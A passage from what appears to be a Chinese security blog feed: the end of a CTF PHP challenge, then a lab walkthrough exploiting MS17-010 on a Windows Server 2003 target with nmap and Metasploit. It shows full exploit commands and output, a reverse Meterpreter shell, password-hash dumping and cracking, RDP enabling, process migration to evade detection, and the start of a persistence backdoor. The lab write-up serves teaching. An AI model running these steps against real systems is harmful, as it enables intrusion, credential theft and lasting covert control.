class="line">if(strstr($url,&quot;www.taobao.com&quot;))&#123;</span><br><span class="line">if($_SERVER[&apos;HTTP_HOST&apos;]==&quot;10.10.10.10&quot;)&#123;</span><br><span class="line">if(strstr($_SERVER[&apos;HTTP_REFERER&apos;],&quot;www.baidu.com&quot;))&#123;</span><br><span class="line">if(strstr($_SERVER[&apos;HTTP_REFERER&apos;],&quot;www.baidu.com&quot;))&#123;</span><br><span class="line">echo &quot;剁手了，请记录截图!!!flag:83242lkjKJ(*&amp;*^*&amp;k0&quot;.&quot;&lt;br/&gt;&quot;;</span><br><span class="line">&#125;else&#123;</span><br><span class="line">echo &quot;不想剁手了&quot;.&quot;&lt;br/&gt;&quot;;</span><br><span class="line">&#125;</span><br><span class="line">&#125;else&#123;</span><br><span class="line">echo &quot;nono&quot;.&quot;&lt;br/&gt;&quot;;</span><br><span class="line">&#125;</span><br><span class="line">&#125;else&#123;</span><br><span class="line">echo &quot;哎呀，这里只允许10.10.10.10访问！！！&quot;.&quot;&lt;br/&gt;&quot;;</span><br><span class="line">&#125;</span><br><span class="line">&#125;else&#123;</span><br><span class="line">echo &quot;这个地方剁手不好，换个地方！&quot;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>发现必须要满足三个条件才可以获得flag<br>1.请求参数url=<a href="http://www.taobao.com" target="_blank" rel="noopener">www.taobao.com</a><br>2.referer为<a href="http://www.baidu.com" target="_blank" rel="noopener">www.baidu.com</a><br>3.HOST值为10.10.10.10<br><img src="https://ws3.sinaimg.cn/large/0078beR7ly1fz4agqahytj30xu0dj0u1.jpg" alt="image"></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla
      
    
    </summary>
    
      <category term="WEB安全" scheme="https://louisnie.github.io/categories/WEB%E5%AE%89%E5%85%A8/"/>
    
    
      <category term="靶机实验" scheme="https://louisnie.github.io/tags/%E9%9D%B6%E6%9C%BA%E5%AE%9E%E9%AA%8C/"/>
    
  </entry>
  
  <entry>
    <title>与永恒之蓝的一场旅行</title>
    <link href="https://louisnie.github.io/2019/02/19/ms17-010/"/>
    <id>https://louisnie.github.io/2019/02/19/ms17-010/</id>
    <published>2019-02-19T14:22:28.000Z</published>
    <updated>2019-02-26T11:23:32.836Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p><blockquote class="blockquote-center">不断进步,直到羔羊变成雄狮!</blockquote></p><div align="middle"><iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width="330" height="86" src="//music.163.com/outchain/player?type=2&id=28285910&auto=1&height=66"></iframe></div><h2 id="漏洞背景"><a href="#漏洞背景" class="headerlink" title="漏洞背景:"></a>漏洞背景:</h2><p>继2016年 8 月份黑客组织 Shadow Brokers 放出第一批 NSA “方程式小组”内部黑客工具后，2017 年 4 月 14 日，Shadow Brokers 再次公布了一批新的 NSA 黑客工具，其中包含了一个攻击框架和多个 Windows 漏洞利用工具。攻击者利用这些漏洞可以远程获取 Windows 系统权限并植入后门。</p><p>针对此次泄露的漏洞，微软提前发布了安全公告 MS17-010，修复了泄露的多个 SMB 远程命令执行漏洞。由于此次泄露的漏洞覆盖了大部分常见的 Windows 版本(包括微软不再提供更新服务的 Windows XP 和 Windows Server 2003)，网络空间中仍然存在大量可被入侵的设备</p><h2 id="漏洞原理"><a href="#漏洞原理" class="headerlink" title="漏洞原理:"></a>漏洞原理:</h2><p>永恒之蓝漏洞是通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞，恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。</p><h2 id="影响版本"><a href="#影响版本" class="headerlink" title="影响版本:"></a>影响版本:</h2><p>目前已知受影响的Windows 版本包括但不限于：WindowsNT，Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8，Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。</p><p>目前在Metasploit上集成的攻击载荷是ms17_010_psexec和ms17_010_eternalblue,我在网上搜了好久,也没找到什么有价值的答案,我自己总结的是两点区别:</p><p>一:ms17_010_psexec是SMB的远程代码执行漏洞,ms17_010_eternalblue是SMB的远程窗口内核池损坏漏洞</p><p> 二:ms17_010_psexec是针对于上述所说的Windows系统都适用的,而ms17_010_eternalblue只适用于win7和win server2008R2的全版本</p><p>这次我们使用ms17_010_psexec载荷进行渗透测试</p><h2 id="利用前提"><a href="#利用前提" class="headerlink" title="利用前提:"></a>利用前提:</h2><p>1.防火墙必须允许SMB流量出入</p><p>2.目标必须使用SMBv1协议</p><p>3.目标必须缺少MS17-010补丁</p><p>4.目标必须允许匿名IPC $和管道名</p><h2 id="复现环境"><a href="#复现环境" class="headerlink" title="复现环境:"></a>复现环境:</h2><p>攻击机:kali 4.15.0-kali2-amd64(192.168.135.134)</p><p>靶机:Windows server2003(192.168.135.136)</p><h2 id="复现过程"><a href="#复现过程" class="headerlink" title="复现过程:"></a>复现过程:</h2><h3 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h3><p>使用nmap对目标系统进行信息收集同时去扫描目标存在的漏洞(Nessus或者AWVS等扫描器都可以)</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">root@kali:~# nmap -sV --script=vuln -O 192.168.135.136</span><br></pre></td></tr></table></figure><p>参数-sV表示对目标主机进行软件版本的检测</p><p>参数–script=vuln表示适用nmap自带的漏洞库区扫描目标系统存在的漏洞</p><p>参数-O表示扫描目标的操作系统</p><p>由于nmap默认扫描常用的一千个端口,所以我这里为了节省时间就没有加-p选项</p><p>扫出来啦鼎鼎有名的ms08-067漏洞和ms17-010漏洞这两个远程代码执行的漏洞</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">Host script results:</span><br><span class="line">| smb-vuln-ms08-067: </span><br><span class="line">|   VULNERABLE:</span><br><span class="line">|   Microsoft Windows system vulnerable to remote code execution (MS08-067)</span><br><span class="line">|     State: VULNERABLE</span><br><span class="line">|     IDs:  CVE:CVE-2008-4250</span><br><span class="line">|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,</span><br><span class="line">|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary</span><br><span class="line">|           code via a crafted RPC request that triggers the overflow during path canonicalization.</span><br><span class="line">|           </span><br><span class="line">|     Disclosure date: 2008-10-23</span><br><span class="line">|     References:</span><br><span class="line">|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250</span><br><span class="line">|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">smb-vuln-ms17-010: </span><br><span class="line">|   VULNERABLE:</span><br><span class="line">|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)</span><br><span class="line">|     State: VULNERABLE</span><br><span class="line">|     IDs:  CVE:CVE-2017-0143</span><br><span class="line">|     Risk factor: HIGH</span><br><span class="line">|       A critical remote code execution vulnerability exists in Microsoft SMBv1</span><br><span class="line">|        servers (ms17-010).</span><br><span class="line">|           </span><br><span class="line">|     Disclosure date: 2017-03-14</span><br><span class="line">|     References:</span><br><span class="line">|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx</span><br><span class="line">|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/</span><br><span class="line">|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143</span><br></pre></td></tr></table></figure><h3 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用:"></a>漏洞利用:</h3><h4 id="配置数据库"><a href="#配置数据库" class="headerlink" title="配置数据库"></a>配置数据库</h4><p>我们使用Metasploit-Framework(简称MSF)去利用ms17-010远程代码执行漏洞</p><p>我们首先需要创建一个自己的数据库,将等会使用MSF获取的结果保存到我们自己的数据库中(也可以使用metasploit自带的数据库),MSF默认使用的数据库管理系统是PostgreSQL</p><p>打开Postgresql服务:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">root@kali:~# service postgresql start</span><br></pre></td></tr></table></figure><p>或者</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">root@kali:~# /etc/init.d/postgresql start</span><br><span class="line">[ ok ] Starting postgresql (via systemctl): postgresql.service.</span><br></pre></td></tr></table></figure><p>查看数据库运行状态:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">root@kali:~# service postgresql status </span><br><span class="line">● postgresql.service - PostgreSQL RDBMS</span><br><span class="line">   Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor preset: disabled)</span><br><span class="line">   Active: active (exited) since Mon 2019-02-18 16:22:16 CST; 24h ago</span><br><span class="line">  Process: 11732 ExecStart=/bin/true (code=exited, status=0/SUCCESS)</span><br><span class="line"> Main PID: 11732 (code=exited, status=0/SUCCESS)</span><br><span class="line"></span><br><span class="line">2月 18 16:22:16 kali systemd[1]: Starting PostgreSQL RDBMS...</span><br><span class="line">2月 18 16:22:16 kali systemd[1]: Started PostgreSQL RDBMS.</span><br></pre></td></tr></table></figure><p>切换到postgres用户(Postgresql数据库管理系统所创建的用户)</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">root@kali:~# su - postgres</span><br></pre></td></tr></table></figure><p>创建数据库管理员kkk:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">root@kali:~# su - postgres </span><br><span class="line">postgres@kali:~$ createuser kkk -P</span><br><span class="line">为新角色输入的口令: </span><br><span class="line">再输入一遍:</span><br></pre></td></tr></table></figure><p>创建数据库及其属主,其语法为createdb –owner=属主 数据库名</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">postgres@kali:~$ createdb  --owner=kkk database1</span><br></pre></td></tr></table></figure><p>然后就可以打开MSF终端利用漏洞啦</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">root@kali:~# msfconsole</span><br></pre></td></tr></table></figure><p>查看当前所连接的数据库:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">msf &gt; db_status </span><br><span class="line">[*] postgresql connected to msf</span><br></pre></td></tr></table></figure><p>断开连接,连接我们刚刚创建的数据库,</p><p>断开数据库连接命令:db_disconnent</p><p>连接新的数据库:格式是db_connect 用户名:密码@127.0.0.1/数据库名</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">msf &gt; db_disconnect </span><br><span class="line">msf &gt; db_connect kkk:passwd@127.0.0.1/database1</span><br></pre></td></tr></table></figure><h4 id="确认漏洞"><a href="#确认漏洞" class="headerlink" title="确认漏洞"></a>确认漏洞</h4><p>这部分其实就是确认nmap扫描的结果是否准确,MSF提供专门扫描MS17-010的payload(载荷)我们可以在这里尝试一番,熟悉命令</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">msf &gt; search ms17-010     //在漏洞库中搜索ms17-010的payload</span><br><span class="line">[!] Module database cache not built yet, using slow search</span><br><span class="line"></span><br><span class="line">Matching Modules</span><br><span class="line">================</span><br><span class="line"></span><br><span class="line">   Name                                      Disclosure Date  Rank     Description</span><br><span class="line">   ----                                      ---------------  ----     -----------</span><br><span class="line">   auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution</span><br><span class="line">   auxiliary/scanner/smb/smb_ms17_010                         normal   MS17-010 SMB RCE Detection</span><br><span class="line">   exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption</span><br><span class="line">   exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution</span><br></pre></td></tr></table></figure><p>我们使用auxiliary辅助模块中的ms17_010_command载荷去扫描确认目标系统是否真的有SMB服务的远程代码执行的漏洞</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">msf &gt; use auxiliary/admin/smb/ms17_010_command    //使用该载荷</span><br><span class="line">msf auxiliary(admin/smb/ms17_010_command) &gt; set rhosts 192.168.135.136   //设置目标</span><br><span class="line">rhosts =&gt; 192.168.135.136</span><br><span class="line">msf auxiliary(admin/smb/ms17_010_command) &gt; exploit  //进行攻击</span><br><span class="line"></span><br><span class="line">[*] 192.168.135.136:445   - Target OS: Windows Server 2003 3790 Service Pack 2</span><br><span class="line">[*] 192.168.135.136:445   - Filling barrel with fish... done</span><br><span class="line">[*] 192.168.135.136:445   - &lt;---------------- | Entering Danger Zone | ----------------&gt;</span><br><span class="line">[*] 192.168.135.136:445   - [*] Preparing dynamite...</span><br><span class="line">[*] 192.168.135.136:445   - Trying stick 1 (x64)...Miss</span><br><span class="line">[*] 192.168.135.136:445   - [*] Trying stick 2 (x86)...Boom!</span><br><span class="line">[*] 192.168.135.136:445   - [+] Successfully Leaked Transaction!</span><br><span class="line">[*] 192.168.135.136:445   - [+] Successfully caught Fish-in-a-barrel</span><br><span class="line">[*] 192.168.135.136:445   - &lt;---------------- | Leaving Danger Zone | ----------------&gt;</span><br><span class="line">[*] 192.168.135.136:445   - Reading from CONNECTION struct at: 0x8fdf1cb0</span><br><span class="line">[*] 192.168.135.136:445   - Built a write-what-where primitive...</span><br><span class="line">[+] 192.168.135.136:445   - Overwrite complete... SYSTEM session obtained!</span><br><span class="line">[+] 192.168.135.136:445   - Service start timed out, OK if running a command or non-service executable...</span><br><span class="line">[*] 192.168.135.136:445   - Output for &quot;net group &quot;Domain Admins&quot; /domain&quot;:</span><br><span class="line">ةĻ     Domain Admins</span><br><span class="line">עˍ     ָ¶¨µœꝀ</span><br><span class="line"></span><br><span class="line">³ʔ±</span><br><span class="line"></span><br><span class="line">-------------------------------------------------------------------------------</span><br><span class="line">Administrator            </span><br><span class="line">ļ®³ɹ¦Ϊ³ɡ£</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">[+] 192.168.135.136:445   - Cleanup was successful</span><br><span class="line">[*] Scanned 1 of 1 hosts (100% complete)</span><br><span class="line">[*] Auxiliary module execution completed</span><br></pre></td></tr></table></figure><p>Successful 而且目标为Administrator  权限</p><h4 id="攻击目标"><a href="#攻击目标" class="headerlink" title="攻击目标"></a>攻击目标</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">msf auxiliary(admin/smb/ms17_010_command) &gt; use exploit/windows/smb/ms17_010_psexec //使用攻击模块</span><br><span class="line">msf exploit(windows/smb/ms17_010_psexec) &gt; set rhost 192.168.135.136 //设置目标</span><br><span class="line">rhost =&gt; 192.168.135.136</span><br></pre></td></tr></table></figure><p>对于ms17_010_psexec攻击脚本,不需要设置payload,我原先设置windows/x64/meterpreter/reverse_tcp</p><p>载荷一直不出来结果,后来才得知这个攻击脚本里面有meterpreter的载荷,无需设置即可</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">msf exploit(windows/smb/ms17_010_psexec) &gt; exploit   //开始攻击</span><br><span class="line"></span><br><span class="line">[*] Started reverse TCP handler on 192.168.135.134:4444 </span><br><span class="line">[*] 192.168.135.136:445 - Target OS: Windows Server 2003 3790 Service Pack 2</span><br><span class="line">[*] 192.168.135.136:445 - Filling barrel with fish... done</span><br><span class="line">[*] 192.168.135.136:445 - &lt;---------------- | Entering Danger Zone | ----------------&gt;</span><br><span class="line">[*] 192.168.135.136:445 - [*] Preparing dynamite...</span><br><span class="line">[*] 192.168.135.136:445 - Trying stick 1 (x64)...Miss</span><br><span class="line">[*] 192.168.135.136:445 - [*] Trying stick 2 (x86)...Boom!</span><br><span class="line">[*] 192.168.135.136:445 - [+] Successfully Leaked Transaction!</span><br><span class="line">[*] 192.168.135.136:445 - [+] Successfully caught Fish-in-a-barrel</span><br><span class="line">[*] 192.168.135.136:445 - &lt;---------------- | Leaving Danger Zone | ----------------&gt;</span><br><span class="line">[*] 192.168.135.136:445 - Reading from CONNECTION struct at: 0x8f3e37c0</span><br><span class="line">[*] 192.168.135.136:445 - Built a write-what-where primitive...</span><br><span class="line">[+] 192.168.135.136:445 - Overwrite complete... SYSTEM session obtained!</span><br><span class="line">[*] 192.168.135.136:445 - Selecting native target</span><br><span class="line">[*] 192.168.135.136:445 - Uploading payload...</span><br><span class="line">[*] 192.168.135.136:445 - Created \ZKbfdlYf.exe...</span><br><span class="line">[+] 192.168.135.136:445 - Service started successfully...</span><br><span class="line">[*] 192.168.135.136:445 - Deleting \ZKbfdlYf.exe...</span><br><span class="line">[-] 192.168.135.136:445 - Delete of \ZKbfdlYf.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)</span><br><span class="line">[*] Sending stage (179779 bytes) to 192.168.135.136</span><br><span class="line">[*] Sleeping before handling stage...</span><br><span class="line">[*] Meterpreter session 1 opened (192.168.135.134:4444 -&gt; 192.168.135.136:2240) at 2019-02-19 19:13:26 +0800</span><br><span class="line"></span><br><span class="line">meterpreter &gt;           //攻击成功,拿到目标的会话</span><br></pre></td></tr></table></figure><h2 id="后渗透阶段"><a href="#后渗透阶段" class="headerlink" title="后渗透阶段"></a>后渗透阶段</h2><p>先介绍一下Meterpreter:</p><blockquote><p>Meterpreter是Metasploit框架中的一个扩展模块，作为溢出成功以后的攻击载荷使用，攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。Meterpretershell作为渗透模块有很多有用的功能，比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。</p></blockquote><p>在后渗透阶段我们将使用Meterpreter进行攻击</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">meterpreter &gt; help        //输入help命令可以查看在meterpreter模块下执行的命令</span><br><span class="line">meterpreter &gt; sysinfo      //查看系统信息</span><br><span class="line">Computer        : MYCOMPUTER</span><br><span class="line">OS              : Windows .NET Server (Build 3790, Service Pack 2).</span><br><span class="line">Architecture    : x86</span><br><span class="line">System Language : zh_CN</span><br><span class="line">Domain          : LOUISNIE</span><br><span class="line">Logged On Users : 3</span><br><span class="line">Meterpreter     : x86/windows</span><br><span class="line">meterpreter &gt; getsystem   //提升到system权限</span><br><span class="line">...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).</span><br><span class="line"></span><br><span class="line">meterpreter &gt; hashdump  //导出SAM数据库的内容</span><br><span class="line">Administrator:500:570ce399da1412abaad3b435b51404ee:b9d2d4955b330b503cc792eb6a55bb1f:::</span><br><span class="line">Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::</span><br><span class="line">krbtgt:502:aad3b435b51404eeaad3b435b51404ee:98e07fb45acadfe5febbf70690d16ae0:::</span><br><span class="line">SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:18861c2baa27b5a9100c04acbbfa47d9:::</span><br><span class="line">IUSR_MYCOMPUTER:1108:e2e508b31b1336d2c996f97338db8790:03320631cb387004f82daec52f03935f:::</span><br><span class="line">IWAM_MYCOMPUTER:1109:fc512ee6de7b912f77747be12787d540:0f8f47aec1c4bc8897a81bce48cc20da:::</span><br><span class="line">MYCOMPUTER$:1005:aad3b435b51404eeaad3b435b51404ee:979f58fb772361956a63f2bc34036a09:::</span><br></pre></td></tr></table></figure><p>SAM简介:</p><blockquote><p>SAM是windows系统的一个系统用户账号管理文件。其全称为security account manager。Windows中对用户账户的安全管理使用了安全账号管理器SAM(security account manager)的机制,安全账号管理器对账号的管理是通过安全标识进行的，安全标识在账号创建时就同时创建，一旦账号被删除，安全标识也同时被删除。安全标识是唯一的，即使是相同的用户名，在每次创建时获得的安全标识都时完全不同的。因此，一旦某个账号被删除，它的安全标识就不再存在了，即使用相同的用户名重建账号，也会被赋予不同的安全标识，不会保留原来的权限。</p><p>其文件位置：C:\windows\system32\config\SAM</p></blockquote><p>其格式是  用户名称:RID:LM-HASH值:NT-HASH:::</p><p>在Windows系统下,有两大hash,分别是LM HASH&amp;NT HASH</p><p>对于NT HASH,我们直接可以在cmd5网站进行解密,解密Administrator用户密码为redhat</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line">msf exploit(windows/smb/ms17_010_psexec) &gt;run post/windows/manage/enable_rdp //打开目标服务器的远程连接</span><br><span class="line"></span><br><span class="line">msf exploit(windows/smb/ms17_010_psexec) &gt;exploit</span><br><span class="line">meterpreter &gt; portfwd add -l 2222 -r 192.168.135.136 -p 3389  //反弹目标的3389端口到本地的2222端口并监听该端口</span><br><span class="line">[*] Local TCP relay created: :2222 &lt;-&gt; 192.168.135.136:3389</span><br><span class="line">meterpreter &gt; portfwd    //查看是否反弹成功</span><br><span class="line"></span><br><span class="line">Active Port Forwards</span><br><span class="line">====================</span><br><span class="line"></span><br><span class="line">   Index  Local         Remote                Direction</span><br><span class="line">   -----  -----         ------                ---------</span><br><span class="line">   1      0.0.0.0:2222  192.168.135.136:3389  Forward</span><br><span class="line"></span><br><span class="line">1 total active port forwards.</span><br><span class="line"></span><br><span class="line">root@kali:~# netstat -an | grep &quot;2222&quot;  //我们在kali查看2222端口是在监听状态</span><br><span class="line">tcp        0      0 0.0.0.0:2222            0.0.0.0:*               LISTEN     </span><br><span class="line">root@kali:~# rdesktop 127.0.0.1:2222 //连接本地的2222端口反弹到目标的3389端口,即打开目标的桌面</span><br><span class="line"></span><br><span class="line">meterpreter &gt; ps  //查看系统进程</span><br><span class="line"></span><br><span class="line">Process List</span><br><span class="line">============</span><br><span class="line"></span><br><span class="line"> PID   PPID  Name               Arch  Session  User                          Path</span><br><span class="line"> ---   ----  ----               ----  -------  ----                          ----</span><br><span class="line"> 0     0     [System Process]                                                </span><br><span class="line"> 4     0     System             x86   0        NT AUTHORITY\SYSTEM           </span><br><span class="line"> 240   2792  mstsc.exe          x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\mstsc.exe</span><br><span class="line"> 264   4     smss.exe           x86   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe</span><br><span class="line"> 292   808   explorer.exe       x86   0        LOUISNIE\Administrator        C:\WINDOWS\Explorer.EXE</span><br><span class="line"> 312   264   csrss.exe          x86   0        NT AUTHORITY\SYSTEM           \??\C:\WINDOWS\system32\csrss.exe</span><br><span class="line"> 336   264   winlogon.exe       x86   0        NT AUTHORITY\SYSTEM           \??\C:\WINDOWS\system32\winlogon.exe</span><br><span class="line"> 384   336   services.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\services.exe</span><br><span class="line"> 396   336   lsass.exe          x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\lsass.exe</span><br><span class="line"> 452   1744  wuauclt.exe        x86   2        LOUISNIE\Administrator        C:\WINDOWS\system32\wuauclt.exe</span><br><span class="line"> 588   384   vmacthlp.exe       x86   0        NT AUTHORITY\SYSTEM </span><br><span class="line"> </span><br><span class="line">meterpreter &gt; migrate 292 //将该会话和系统进程绑定,免杀.格式是:migrate PID</span><br><span class="line"> </span><br><span class="line">meterpreter &gt; execute -H -i -f cmd.exe //创建新进程cmd.exe，-H不可见，-i交互 -f用系统命令去执行</span><br><span class="line"></span><br><span class="line">meterpreter &gt; kali 1569  //杀死进程,格式是:kali PID</span><br></pre></td></tr></table></figure><p>植入后门,维持控制</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">msf exploit(windows/smb/ms17_010_psexec) &gt; sessions  -i 2  //开启第二个会话</span><br><span class="line">[*] Starting interaction with 2...</span><br><span class="line"></span><br><span class="line">meterpreter &gt; run persistence - X -i 5 -p 4445 